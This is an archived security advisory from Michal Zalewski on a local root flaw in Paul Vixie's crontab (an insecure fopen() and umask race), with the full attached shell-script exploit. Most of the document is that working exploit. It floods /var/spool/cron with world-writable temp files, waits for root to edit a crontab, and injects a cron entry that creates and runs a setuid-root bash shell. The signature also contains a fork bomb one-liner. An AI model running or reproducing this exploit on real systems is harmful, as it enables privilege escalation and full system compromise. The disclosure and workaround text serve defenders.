Vixie crontab local root exploit - an insecure fopen() call in Paul Vixie's crontab code is exploitable on systems where /var/spool/cron is user readable, such as Red Hat 6.1.
ab44f3d242c7a1c5af9df46eb9bdc3905efc1ef485b1406235d10775c03e5ede
Attached shell-script exploits fopen() + preserved umask vulnerability in
Paul Vixie's cron code. It will work on systems where /var/spool/cron is
user-readable (eg. 0755) - AFAIR Debian does so. RedHat (at least 6.1 and
previous) have mode 0700 on /var/spool/cron, and thus it isn't exploitable
in its default configuration... (ahmm, but this does NOT mean it is a
problem of o+rx bits, but of insecure umask() and fopen() calls).
I have no information about other distributions or systems - this exploit
should automagically detect if you are vulnerable or not (checking
/var/spool/cron, looking for Paul Vixie's crontab, etc). Please report
your findings to me and/or to BUGTRAQ.
If any of your users launched this exploit on screen, and then any other
user (including superuser) invoked "crontab -e" to change his/her crontab
entries, privledges elevation will occour. The main attack is performed
while root (or any other user, but this particular exploit is configured
against root - feel free to change it) is editing his crontab entry. After
any modification, when crontabs are updated, this exploit will try to
insert evil code over the original contents of the crontab file
(probability of successful exploitation is near to 100%). This, after
approximately one minute, leads to account compromise.
At the beginning, this exploit is trying to abuse crontab utility in order
to create somewhat enormous number of world-writable temporary files
(these files are open with fopen(), and then rename()d to destination name
- ugh!). It might take some time and cause less or more heavy load on
ancient boxes. After finishing it, exploit is waiting, consuming little or
no system resources, till "crontab -e" session will appear. For more
details, see exploit code.
Vendors were not notified because I have no idea which systems and distros
are shipping vulnerable configuration, and because pretty good workaround
is simple: chmod 700 /var/spool/cron.
_______________________________________________________
Michal Zalewski [lcamtuf@tpi.pl] [tp.internet/security]
[http://lcamtuf.na.export.pl] <=--=> bash$ :(){ :|:&};:
=-----=> God is real, unless declared integer. <=-----=
[ attachment: xpl (text/plain) ]
#!/bin/sh
echo '.------------------------------------------------------------------------
-.'
echo '| Marchew Hyperreal Industries ................... <marchew@dione.ids.pl>
|'
echo "| ( ...well, it is just me, but it is more elite to speak as a group... )
|"
echo "\`--------------------------------- presents ----------------------------
--'"
echo
echo ' * another vixie-cron root sploit by Michal Zalewski <lcamtuf@ids.pl> *
'
echo
echo '.------------------------------------------------------------------------
-.'
echo '| This time, it is somewhat more complicated. On some systems, it might
|'
echo '| require some tuning, to be slower, but resources-effective. It expects
|'
echo '| root (or other choosen user) to do "crontab -e" or "crontab /any/file"
|'
echo '| sooner or later, and spoofs the legitimate cron entry file with evil
|'
echo '| content, thus leading to account compromise (usually: root compromise).
|'
echo "\`-----------------------------------------------------------------------
--'"
echo
CYCLES=32768
DESTUSER=root
SHOULDTOOK=60
VCRON="`strings /usr/bin/crontab 2>/dev/null|grep -i vixie`"
if [ "$VCRON" = "" ]; then
echo "[-] Sorry, this box is not running vixie cron."
echo
exit 1
else
echo "[+] Found Paul Vixie's /usr/bin/crontab utility."
fi
if [ -r /var/spool/cron ]; then
echo "[+] This box has exploitable /var/spool/cron..."
else
echo "[-] Sorry, this box is not vulnerable to this attack."
echo
exit 1
fi
if [ -u /usr/bin/crontab ]; then
echo "[+] This box has setuid crontab utility..."
else
echo "[-] Sorry, this box has no setuid crontab."
echo
exit 1
fi
cat >dowrite.c <<_EOF_
main() {
lseek(1,0,0);
write(1,"* * * * * /tmp/.rootcron\n\n",26);
ftruncate(1,25);
}
_EOF_
echo "[+] Compiling helper application #1..."
gcc -o dowrite dowrite.c
if [ ! -f dowrite ]; then
echo "[-] Compilation failed."
echo
exit 1
fi
echo "[+] Application #1 compiled successfully."
echo "[+] Creating helper application #2..."
cat >/tmp/.rootcron <<_EOF_
#!/bin/sh
(
chown root.root /tmp/.r00tcr0n
chmod 6755 /tmp/.r00tcr0n
rm -f /var/spool/cron/tmp.*
crontab -r
) &>/dev/null
_EOF_
cat >root.c <<_EOF_
main() {
setuid(0); setgid(0);
unlink("/tmp/.r00tcr0n");
execl("/bin/bash","bash","-i",0);
perror("bash");
}
_EOF_
echo "[+] Compiling helper application #3..."
gcc -o /tmp/.r00tcr0n root.c
if [ ! -f /tmp/.r00tcr0n ]; then
echo "[-] Compilation failed."
echo
exit 1
fi
echo "[+] Application #3 compiled successfully."
X=0
if [ ! "$1" = "noprep" ]; then
echo "[*] Attack against user $DESTUSER, doing $CYCLES setup cycles..."
echo " Please be patient, setup might took some time; to skip it if"
echo " /var/spool/cron on this machine is already initialized, use"
echo " '$0 noprep'."
PROB=$[CYCLES*100/32768]
test "$PROB" -gt "100" && PROB=100
echo "[+] This gives almost $PROB% probability of success on the first attemp
t."
while [ "$X" -lt "$CYCLES" ]; do
X=$[X+1]
echo -ne "\r[?] Doing cycle $X of $CYCLES [$[X*100/CYCLES]% done]... "
umask 0
( ( crontab /dev/urandom & usleep 1000; killall crontab ) & ) &>/dev/null
done
sleep 3;killall -9 crontab &>/dev/null
echo
echo "[+] Setup complete, /var/spool/cron filled with junk tmp files."
CNT=0
echo "[*] Now, doing cleanup and counting the nodes..."
for i in 1 2 3 4 5 6 7 8 9; do
for j in /var/spool/cron/tmp.${i}*; do
echo -n >$j
echo -ne "\r[+] Node $CNT clean... "
CNT=$[CNT+1]
done
done
echo
PROB=$[CNT*100/32768]
echo "[+] Found $CNT nodes, approx. $PROB% chance..."
if [ "$CNT" -lt "$[CYCLES*2/3]" ]; then
echo "[-] Less than 66% of expected nodes were created. Try adjusting the e
xploit."
echo
exit 1
fi
else
echo "[?] Skipping /var/spool/cron initialization. Results might be unpredict
able."
fi
echo "[+] Now I will wait for $DESTUSER to edit his crontab. Could take some ti
me."
chmod 755 /tmp/.rootcron
while :; do
sleep 1
GOT="`ps auxhw|grep ^$DESTUSER|grep crontab|grep -v grep|cut -b10-15|head -1`
"
test "$GOT" = "" && continue
GOT=`echo $GOT`
echo "[+] Caught victim at pid $GOT..."
if [ ! -f /var/spool/cron/tmp.$GOT ]; then
echo "[-] DAMN! We have no node for this pid, bad luck..."
continue
fi
echo '[+] Got this node :) Entering event wait loop...'
export DESTUSER
(
G=blabla
while [ ! "$G" = "" ]; do
G="`ps auxhw|grep ^$DESTUSER|grep crontab|grep -v grep`"
done
sleep 1
echo "[+] Bingo! It happened. Now writing our evil content..." 1>&2
./dowrite
) >/var/spool/cron/tmp.$GOT
echo '* * * * * /bin/true' >.ctab
echo "[+] Evil content written. Trying to rehash the daemon..."
crontab .ctab
crontab -r
echo "[+] Entering event loop waiting for exploit to work..."
while [ ! -u /tmp/.r00tcr0n ]; do
sleep 1
done
rm -f .ctab dowrite dowrite.c /tmp/.rootcron root.c
echo "[+] Calling the main code..."
/tmp/.r00tcr0n
echo "[*] Thank you for choosing Marchew Industries."
echo
exit 1
done